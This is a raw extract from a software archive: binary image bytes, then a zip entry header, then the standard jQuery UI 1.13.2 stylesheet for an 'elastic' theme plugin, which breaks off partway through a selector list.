;S!� 9�=v���%�>�����Aa���@A�B��A!�Z��`�І$�w�s�zC'��i+�L���3�b)�87�i,���lel�P���M��Q���K�#G=���~�=�s�ɴH�D_�1}�~7y�`,;/m���"��e�k��7�k��3?ډ˂t���8&�s>���׮2����_I����[m�9��-��ˆU�Le�}�9����e��q��"��־�h{�.�}�2X���-��"��Yz���; ]X2��v�m�!`�����E@�I�>��I��Bd"��g�(/˳���#j����#o��t���E88l���K=��
�����$�I�!yP��v�G��leLe�:<������B�D�e��,5�>��0`2�S��-L$��s�ec��L�\v�W�";��Wg3��ఴ�T#-ю%II�,c��n��c�w��c��?/)H��*�xG�{h�\��w��b�sq�ҙj.�*��}�_��C�U03q�0:P�#f�-�+��z��v�� ��p��؇�S��Y�Un�{f�zgB ����e�����n���m��0+}�M�]���l�Rd%B�0S{�p69�Yr�%�{{mG�)���g�A�����WjOZ�}t�dM�6�p_�GO�<f痬��o���	G�6�,))v�sBi�R�(�i�;����3>�E� g��we�L�vn(�M������t9�_�X����Ӫ�2���d��d��L��Po6����@\�eߗ�́<~޾N�@Ja�B@�[�r�s�O��[�Ж��=�ي�p�ߚ�?��ŋ6�k�=v�R��c֏�s?��*E �6^�e%����٭���G~�{=�n-A'ULa4p3𲺨���LOD��.��$�!Җ�v�-��a� 7����� �]�@q `��f^�w��1�C7���W}�Ք*�l*�ֻf��{eө�m�J*�×�M��v�f�[���o��-�>H�_��u�����c���-���M�d���v��k�י��sR�O���Z[Fİm��9���BbM����д�|M�F�0��ѓ��Q�v?�t7ء]JF�خ�O�;�f�t�<��@�&��y�c����l�p�M`�����x��k^a��w� !�v�49��Je�s����S|ﻉm@Xs��D�6�����i��Q���a�M�gt��H
�@?5�.T������(�8|��SN����ygv��n��%������^�>|��f�aM@�f\��TƦ\~[$'ᬮ�8O>����W��S_���s�X�f�џ`z�;fߦ�O�*���K�7z�7�C�����a��_���vgnج��	j��H�J`�b-e��v��`�m��k#I�������d�5C�TD�t��1�I�8�I�O�	Zi�q;���ٳ}`y�\û�z����XL�r���H�|_	k���`�=.��x���a��/bH&$�qT�����Y*b-�&E沀X����6&4��y��E�Ău��ENyܷ5/��(�:�����K�m:���C�t�L�"gm���|5F���+�Ie���-�v�f�ͣ�+�_��_,��;�~����*7�w�Sfg�fo�op�P��>�α�>g���~0&Ô��F"�OL�D�$j`6���ZIg�~��Y�d�D0�S����$r����M��U�W��Pk{q���'l��1��SgΨ���Qݯ޾j�=
���_²��~�=`%��`G]�Ę҄HTY9�
�݁��[<~���}��	c��rY�l�>	i�H���%��~H5c0�lV��E�_�Ct.���R�w�∘�8�ݿ�gf�z��#h�;���ǣb��M�2��2�=��t*#!
`V@�_G�;W��X����Z.��%R�c�?��r?�'O�.�^��_����TX���iv�o�c��]}&g.H��,}�A JSH�@��π�p�ݰG�1��mh�@�_X�}�S�J|K���c����~��1�V��p��۞�F�~DEݝK(�Ƅ�A��@!�*Z�H���xR�ss
	�3x@U��M�(J�Q[��z0x�^za䢂��"���,uu�M��ۏ����?�k̄��*7ImZ5�a!�]�G��s4��C��i�	��)�cZCg��P���}:��󒠌�,
�z����0�oq��<�?s"�0rv%��(}�zyH��E@t����O@�/�_��es^�?�/ZI?0���g�|0{S�rG�!���S6��Uϟ?Š����8���ǰ���9'
"��s����•��Ӄ�.2�iZe�3M�$�*x)�6�,' ��.B��V�'����_e<z�oV�ڈ��t2�]F��
�ӛ�zy���2(�)��V�T�w�C�p\=#]UR�>�|��a�_mdW�9屦��&+m�N���~��N"�m��`��(��Jz�u���}�kǔ�h>"�p֍���� &��*�Gch�q�,0{m%��R�<����)���_2��={�X�`��\���>K8�<�D}��j0�n����{�qi�y�>�e	�~XoF���ȇ�m��|�:Fq��jt�*�1Jh$��IW�ǴV?���,�d׮�D��7<d{S�.����6�v�jzRjYz���䕩�Ya������!��89uo�3��O�~�p�E
���]���kq������{�z�a��S
Ȳ^ךӭVƘ������j1��~fC���sx�^��d��r����M����!K���I3B�k����7C/WKi\��JeT�x�~z%��f�������WV*wu4)~_�)��%����zKDP�=�<g������x����c�19���㋙}���:8�%v\����܋�G������H;J��C�,�l��m�U�oPFD�հ��yʢ;�&��T')�
�pɴ�Ҷ��s��O�V|��S
4B�3�v������c:�3j��8�3a�
�6�I:���������u��3�I�Tq\WO<��N�G��ɉ��1�������)�.^�q���C�'2:�d��i󾾬[5�V�]�Q���Q7��~�c�0��Jz�Qz��3��£�#S�2�/3$�̤�l�n�����Q��QZ�x�f/����~��?�-����˿�{�7�^�U^�ֻ�a�`vpp������_�����ۣ��%�a�O��Y�w�����u;�+�
�%������GD"�$[T}]Ìk4K��������b3<_q��Q��e|���Wg��vw�w���Q7C��v1����f�K^��:��g!��B��ԫ��[7�C���땾Z��hY]��G��V����o�����ܾ3��{ց�c/�.1�1�O��ҹ�Q��b�`�;�X2����i�����\�����Y��6sy��"�<�������h�D_�	���7g�hԛ~��H�͈�_B�ڲ+^<9��z\��^r&e�1���qe�%L�^"�<f����ç�4���o/�7C7��o2�^`�c��)��c�FI�~���7e�[�v0�U-�0s~vIEND�B`�PKh�\��(���-plugins/jqueryui/themes/elastic/jquery-ui.cssnu�[���/*! jQuery UI - v1.13.2 - 2022-07-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?bgShadowXPos=&bgOverlayXPos=&bgErrorXPos=&bgHighlightXPos=&bgContentXPos=&bgHeaderXPos=&bgActiveXPos=&bgHoverXPos=&bgDefaultXPos=&bgShadowYPos=&bgOverlayYPos=&bgErrorYPos=&bgHighlightYPos=&bgContentYPos=&bgHeaderYPos=&bgActiveYPos=&bgHoverYPos=&bgDefaultYPos=&bgShadowRepeat=&bgOverlayRepeat=&bgErrorRepeat=&bgHighlightRepeat=&bgContentRepeat=&bgHeaderRepeat=&bgActiveRepeat=&bgHoverRepeat=&bgDefaultRepeat=&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsError=url(%22images%2Fui-icons_cc0000_256x240.png%22)&iconsDefault=url(%22images%2Fui-icons_777777_256x240.png%22)&iconsContent=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsActive=url(%22images%2Fui-icons_ffffff_256x240.png%22)&bgImgUrlShadow=&bgImgUrlOverlay=&bgImgUrlHover=&bgImgUrlHighlight=&bgImgUrlHeader=&bgImgUrlError=&bgImgUrlDefault=&bgImgUrlContent=&bgImgUrlActive=&opacityFilterShadow=Alpha(Opacity%3D30)&opacityFilterOverlay=Alpha(Opacity%3D30)&opacityShadowPerc=30&opacityOverlayPerc=30&iconColorHover=%23555555&iconColorHighlight=%23777620&iconColorHeader=%23444444&iconColorError=%23cc0000&iconColorDefault=%23777777&iconColorContent=%23444444&iconColorActive=%23ffffff&bgImgOpacityShadow=0&bgImgOpacityOverlay=0&bgImgOpacityError=95&bgImgOpacityHighlight=55&bgImgOpacityContent=75&bgImgOpacityHeader=75&bgImgOpacityActive=65&bgImgOpacityHover=75&bgImgOpacityDefault=75&bgTextureShadow=flat&bgTextureOverlay=flat&bgTextureError=flat&bgTextureHighlight=flat&bgTextureContent=flat&bgTextureHeader=flat&bgTextureActive=flat&bgTextureHover=flat&bgTextureDefault=flat&cornerRadius=3px&fwDefault=normal&ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&cornerRadiusShadow=8px&thicknessShadow=5px&offsetLeftShadow=0px&offsetTopShadow=0px&opacityShadow=.3&bgColorShadow=%23666666&opacityOverlay=.3&bgColorOverlay=%23aaaaaa&fcError=%235f3f3f&borderColorError=%23f1a899&bgColorError=%23fddfdf&fcHighlight=%23777620&borderColorHighlight=%23dad55e&bgColorHighlight=%23fffa90&fcContent=%23333333&borderColorContent=%23dddddd&bgColorContent=%23ffffff&fcHeader=%23333333&borderColorHeader=%23dddddd&bgColorHeader=%23e9e9e9&fcActive=%23ffffff&borderColorActive=%23003eff&bgColorActive=%23007fff&fcHover=%232b2b2b&borderColorHover=%23cccccc&bgColorHover=%23ededed&fcDefault=%23454545&borderColorDefault=%23c5c5c5&bgColorDefault=%23f6f6f6
* Copyright jQuery Foundation and other contributors; Licensed MIT */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
	pointer-events: none;
}


/* Icons
----------------------------------*/
.ui-icon {
	display: inline-block;
	vertical-align: middle;
	margin-top: -.25em;
	position: relative;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}

.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block;
}

/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.ui-accordion .ui-accordion-header {
	display: block;
	cursor: pointer;
	position: relative;
	margin: 2px 0 0 0;
	padding: .5em .5em .5em .7em;
	font-size: 100%;
}
.ui-accordion .ui-accordion-content {
	padding: 1em 2.2em;
	border-top: 0;
	overflow: auto;
}
.ui-autocomplete {
	position: absolute;
	top: 0;
	left: 0;
	cursor: default;
}
.ui-menu {
	list-style: none;
	padding: 0;
	margin: 0;
	display: block;
	outline: 0;
}
.ui-menu .ui-menu {
	position: absolute;
}
.ui-menu .ui-menu-item {
	margin: 0;
	/* support: IE10, see #8844 */
	list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
}
.ui-menu .ui-menu-item-wrapper {
	position: relative;
	padding: 0 .5em;
	line-height: 2;
	width: 100%;
	display: inline-block;
	text-decoration: none;
}
.ui-menu .ui-menu-divider {
	margin: 5px 0;
	height: 0;
	font-size: 0;
	line-height: 0;
	border-width: 1px 0 0 0;
}
.ui-menu .ui-state-focus,
.ui-menu .ui-state-active {
	margin: -1px;
}

/* icon support */
.ui-menu-icons {
	position: relative;
}
.ui-menu-icons .ui-menu-item-wrapper {
	padding-left: 2em;
}

/* left-aligned */
.ui-menu .ui-icon {
	position: absolute;
	top: 0;
	bottom: 0;
	left: .2em;
	margin: auto 0;
}

/* right-aligned */
.ui-menu .ui-menu-icon {
	left: auto;
	right: 0;
}
.ui-button {
	padding: .4em 1em;
	display: inline-block;
	position: relative;
	line-height: normal;
	margin-right: .1em;
	cursor: pointer;
	vertical-align: middle;
	text-align: center;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;

	/* Support: IE <= 11 */
	overflow: visible;
}

.ui-button,
.ui-button:link,
.ui-button:visited,
.ui-button:hover,
.ui-button:active {
	text-decoration: none;
}

/* to make room for the icon, a width needs to be set here */
.ui-button-icon-only {
	width: 2em;
	box-sizing: border-box;
	text-indent: -9999px;
	white-space: nowrap;
}

/* no icon support for input elements */
input.ui-button.ui-button-icon-only {
	text-indent: 0;
}

/* button icon element(s) */
.ui-button-icon-only .ui-icon {
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -8px;
	margin-left: -8px;
}

.ui-button.ui-icon-notext .ui-icon {
	padding: 0;
	width: 2.1em;
	height: 2.1em;
	text-indent: -9999px;
	white-space: nowrap;

}

input.ui-button.ui-icon-notext .ui-icon {
	width: auto;
	height: auto;
	text-indent: 0;
	white-space: normal;
	padding: .4em 1em;
}

/* workarounds */
/* Support: Firefox 5 - 40 */
input.ui-button::-moz-focus-inner,
button.ui-button::-moz-focus-inner {
	border: 0;
	padding: 0;
}
.ui-controlgroup {
	vertical-align: middle;
	display: inline-block;
}
.ui-controlgroup > .ui-controlgroup-item {
	float: left;
	margin-left: 0;
	margin-right: 0;
}
.ui-controlgroup > .ui-controlgroup-item:focus,
.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus {
	z-index: 9999;
}
.ui-controlgroup-vertical > .ui-controlgroup-item {
	display: block;
	float: none;
	width: 100%;
	margin-top: 0;
	margin-bottom: 0;
	text-align: left;
}
.ui-controlgroup-vertical .ui-controlgroup-item {
	box-sizing: border-box;
}
.ui-controlgroup .ui-controlgroup-label {
	padding: .4em 1em;
}
.ui-controlgroup .ui-controlgroup-label span {
	font-size: 80%;
}
.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item {
	border-left: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item {
	border-top: none;
}
.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
	border-right: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
	border-bottom: none;
}

/* Spinner specific style fixes */
.ui-controlgroup-vertical .ui-spinner-input {

	width: calc( 100% - 2.4em );
}
.ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
	border-top-style: solid;
}

.ui-checkboxradio-label .ui-icon-background {
	box-shadow: inset 1px 1px 1px #ccc;
	border-radius: .12em;
	border: none;
}
.ui-checkboxradio-radio-label .ui-icon-background {
	width: 16px;
	height: 16px;
	border-radius: 1em;
	overflow: visible;
	border: none;
}
.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,
.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon {
	background-image: none;
	width: 8px;
	height: 8px;
	border-width: 4px;
	border-style: solid;
}
.ui-checkboxradio-disabled {
	pointer-events: none;
}
.ui-datepicker {
	width: 20em;
	display: none;
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 0;
	width: 1.8em;
	height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev {
	left: 0;
}
.ui-datepicker .ui-datepicker-next {
	right: 0;
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	text-align: center;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%;
}
.ui-datepicker table {
	width: 100%;
	margin: 0 0 .4em;
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0;
}
.ui-datepicker td {
	border: 0;
	padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: center;
	text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left;
}

/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
	width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left;
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0;
}

/* RTL support */
.ui-datepicker-rtl {
	direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px;
}

/* Icons */
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em;
}
.ui-dialog {
	position: absolute;
	top: 0;
	left: 0;
	outline: 0;
}
.ui-dialog .ui-dialog-titlebar {
	position: relative;
}
.ui-dialog .ui-dialog-title {
	float: left;
	white-space: nowrap;
	width: 100%;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-dialog .ui-dialog-content {
	position: relative;
	border: 0;
	padding: 1em 1em .5em 1em;
	background: none;
	overflow: auto;
}
.ui-dialog .ui-dialog-buttonpane {
	text-align: right;
	white-space: nowrap;
	background-image: none;
	padding: 0 1.5rem;
	height: 4rem;
}
.ui-dialog .ui-dialog-buttonpane button {
	margin: .65rem 0 .65rem .5rem;
}
.ui-dialog .ui-resizable-n {
	height: 2px;
	top: 0;
}
.ui-dialog .ui-resizable-e {
	width: 2px;
	right: 0;
}
.ui-dialog .ui-resizable-s {
	height: 2px;
	bottom: 0;
}
.ui-dialog .ui-resizable-w {
	width: 2px;
	left: 0;
}
.ui-dialog .ui-resizable-se,
.ui-dialog .ui-resizable-sw,
.ui-dialog .ui-resizable-ne,
.ui-dialog .ui-resizable-nw {
	width: 7px;
	height: 7px;
}
.ui-dialog .ui-resizable-se {
	width: 14px;
	height: 14px;
	right: 3px;
	bottom: 3px;
	background-position: -80px -224px;
}
.ui-dialog .ui-resizable-sw {
	left: 0;
	bottom: 0;
}
.ui-dialog .ui-resizable-ne {
	right: 0;
	top: 0;
}
.ui-dialog .ui-resizable-nw {
	left: 0;
	top: 0;
}
.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}
.ui-draggable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	left: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}
.ui-progressbar {
	height: 2em;
	text-align: left;
	overflow: hidden;
}
.ui-progressbar .ui-progressbar-value {
	margin: -1px;
	height: 100%;
}
.ui-progressbar .ui-progressbar-overlay {
	background: url("data:image/gif;base64,R0lGODlhKAAoAIABAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQJAQABACwAAAAAKAAoAAACkYwNqXrdC52DS06a7MFZI+4FHBCKoDeWKXqymPqGqxvJrXZbMx7Ttc+w9XgU2FB3lOyQRWET2IFGiU9m1frDVpxZZc6bfHwv4c1YXP6k1Vdy292Fb6UkuvFtXpvWSzA+HycXJHUXiGYIiMg2R6W459gnWGfHNdjIqDWVqemH2ekpObkpOlppWUqZiqr6edqqWQAAIfkECQEAAQAsAAAAACgAKAAAApSMgZnGfaqcg1E2uuzDmmHUBR8Qil95hiPKqWn3aqtLsS18y7G1SzNeowWBENtQd+T1JktP05nzPTdJZlR6vUxNWWjV+vUWhWNkWFwxl9VpZRedYcflIOLafaa28XdsH/ynlcc1uPVDZxQIR0K25+cICCmoqCe5mGhZOfeYSUh5yJcJyrkZWWpaR8doJ2o4NYq62lAAACH5BAkBAAEALAAAAAAoACgAAAKVDI4Yy22ZnINRNqosw0Bv7i1gyHUkFj7oSaWlu3ovC8GxNso5fluz3qLVhBVeT/Lz7ZTHyxL5dDalQWPVOsQWtRnuwXaFTj9jVVh8pma9JjZ4zYSj5ZOyma7uuolffh+IR5aW97cHuBUXKGKXlKjn+DiHWMcYJah4N0lYCMlJOXipGRr5qdgoSTrqWSq6WFl2ypoaUAAAIfkECQEAAQAsAAAAACgAKAAAApaEb6HLgd/iO7FNWtcFWe+ufODGjRfoiJ2akShbueb0wtI50zm02pbvwfWEMWBQ1zKGlLIhskiEPm9R6vRXxV4ZzWT2yHOGpWMyorblKlNp8HmHEb/lCXjcW7bmtXP8Xt229OVWR1fod2eWqNfHuMjXCPkIGNileOiImVmCOEmoSfn3yXlJWmoHGhqp6ilYuWYpmTqKUgAAIfkECQEAAQAsAAAAACgAKAAAApiEH6kb58biQ3FNWtMFWW3eNVcojuFGfqnZqSebuS06w5V80/X02pKe8zFwP6EFWOT1lDFk8rGERh1TTNOocQ61Hm4Xm2VexUHpzjymViHrFbiELsefVrn6XKfnt2Q9G/+Xdie499XHd2g4h7ioOGhXGJboGAnXSBnoBwKYyfioubZJ2Hn0RuRZaflZOil56Zp6iioKSXpUAAAh+QQJAQABACwAAAAAKAAoAAACkoQRqRvnxuI7kU1a1UU5bd5tnSeOZXhmn5lWK3qNTWvRdQxP8qvaC+/yaYQzXO7BMvaUEmJRd3TsiMAgswmNYrSgZdYrTX6tSHGZO73ezuAw2uxuQ+BbeZfMxsexY35+/Qe4J1inV0g4x3WHuMhIl2jXOKT2Q+VU5fgoSUI52VfZyfkJGkha6jmY+aaYdirq+lQAACH5BAkBAAEALAAAAAAoACgAAAKWBIKpYe0L3YNKToqswUlvznigd4wiR4KhZrKt9Upqip61i9E3vMvxRdHlbEFiEXfk9YARYxOZZD6VQ2pUunBmtRXo1Lf8hMVVcNl8JafV38aM2/Fu5V16Bn63r6xt97j09+MXSFi4BniGFae3hzbH9+hYBzkpuUh5aZmHuanZOZgIuvbGiNeomCnaxxap2upaCZsq+1kAACH5BAkBAAEALAAAAAAoACgAAAKXjI8By5zf4kOxTVrXNVlv1X0d8IGZGKLnNpYtm8Lr9cqVeuOSvfOW79D9aDHizNhDJidFZhNydEahOaDH6nomtJjp1tutKoNWkvA6JqfRVLHU/QUfau9l2x7G54d1fl995xcIGAdXqMfBNadoYrhH+Mg2KBlpVpbluCiXmMnZ2Sh4GBqJ+ckIOqqJ6LmKSllZmsoq6wpQAAAh+QQJAQABACwAAAAAKAAoAAAClYx/oLvoxuJDkU1a1YUZbJ59nSd2ZXhWqbRa2/gF8Gu2DY3iqs7yrq+xBYEkYvFSM8aSSObE+ZgRl1BHFZNr7pRCavZ5BW2142hY3AN/zWtsmf12p9XxxFl2lpLn1rseztfXZjdIWIf2s5dItwjYKBgo9yg5pHgzJXTEeGlZuenpyPmpGQoKOWkYmSpaSnqKileI2FAAACH5BAkBAAEALAAAAAAoACgAAAKVjB+gu+jG4kORTVrVhRlsnn2dJ3ZleFaptFrb+CXmO9OozeL5VfP99HvAWhpiUdcwkpBH3825AwYdU8xTqlLGhtCosArKMpvfa1mMRae9VvWZfeB2XfPkeLmm18lUcBj+p5dnN8jXZ3YIGEhYuOUn45aoCDkp16hl5IjYJvjWKcnoGQpqyPlpOhr3aElaqrq56Bq7VAAAOw==");
	height: 100%;
	opacity: 0.25;
}
.ui-progressbar-indeterminate .ui-progressbar-value {
	background-image: none;
}
.ui-selectable {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-selectable-helper {
	position: absolute;
	z-index: 100;
	border: 1px dotted black;
}
.ui-selectmenu-menu {
	padding: 0;
	margin: 0;
	position: absolute;
	top: 0;
	left: 0;
	display: none;
}
.ui-selectmenu-menu .ui-menu {
	overflow: auto;
	overflow-x: hidden;
	padding-bottom: 1px;
}
.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup {
	font-size: 1em;
	font-weight: bold;
	line-height: 1.5;
	padding: 2px 0.4em;
	margin: 0.5em 0 0 0;
	height: auto;
	border: 0;
}
.ui-selectmenu-open {
	display: block;
}
.ui-selectmenu-text {
	display: block;
	margin-right: 20px;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-selectmenu-button.ui-button {
	text-align: left;
	white-space: nowrap;
	width: 14em;
}
.ui-selectmenu-icon.ui-icon {
	float: right;
	margin-top: 0;
}
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 1;
	width: 1.2em;
	height: 1.2em;
	cursor: pointer;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

.ui-slider-horizontal {
	height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}
.ui-sortable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-spinner {
	position: relative;
	display: inline-block;
	overflow: hidden;
	padding: 0;
	vertical-align: middle;
}
.ui-spinner-input {
	border: none;
	background: none;
	color: inherit;
	padding: .222em 0;
	margin: .2em 0;
	vertical-align: middle;
	margin-left: .4em;
	margin-right: 2em;
}
.ui-spinner-button {
	width: 1.6em;
	height: 50%;
	font-size: .5em;
	padding: 0;
	margin: 0;
	text-align: center;
	position: absolute;
	cursor: default;
	display: block;
	overflow: hidden;
	right: 0;
}
/* more specificity required here to override default borders */
.ui-spinner a.ui-spinner-button {
	border-top-style: none;
	border-bottom-style: none;
	border-right-style: none;
}
.ui-spinner-up {
	top: 0;
}
.ui-spinner-down {
	bottom: 0;
}
.ui-tabs {
	position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
	padding: .2em;
}
.ui-tabs .ui-tabs-nav {
	margin: 0;
	padding: .2em .2em 0;
}
.ui-tabs .ui-tabs-nav li {
	list-style: none;
	float: left;
	position: relative;
	top: 0;
	margin: 1px .2em 0 0;
	border-bottom-width: 0;
	padding: 0;
	white-space: nowrap;
}
.ui-tabs .ui-tabs-nav .ui-tabs-anchor {
	float: left;
	padding: .5em 1em;
	text-decoration: none;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active {
	margin-bottom: -1px;
	padding-bottom: 1px;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor {
	cursor: text;
}
.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor {
	cursor: pointer;
}
.ui-tabs .ui-tabs-panel {
	display: block;
	border-width: 0;
	padding: 1em 1.4em;
	background: none;
}
.ui-tooltip {
	padding: 8px;
	position: absolute;
	z-index: 9999;
	max-width: 300px;
}
body .ui-tooltip {
	border-width: 2px;
}

/* Component containers
----------------------------------*/
.ui-widget .ui-widget {
	font-size: 1rem;
}
.ui-widget-content {
	background-color: #fff;
}
.ui-widget-header {
	font-weight: bold;
	background-color: #fff;
}

/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,

/* We use html here because we need a greater specificity to make sure disabled
works properly when clicked or hovered */
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #c5c5c5;
	background: #f6f6f6;
	font-weight: normal;
	color: #454545;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #454545;
	text-decoration: none;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
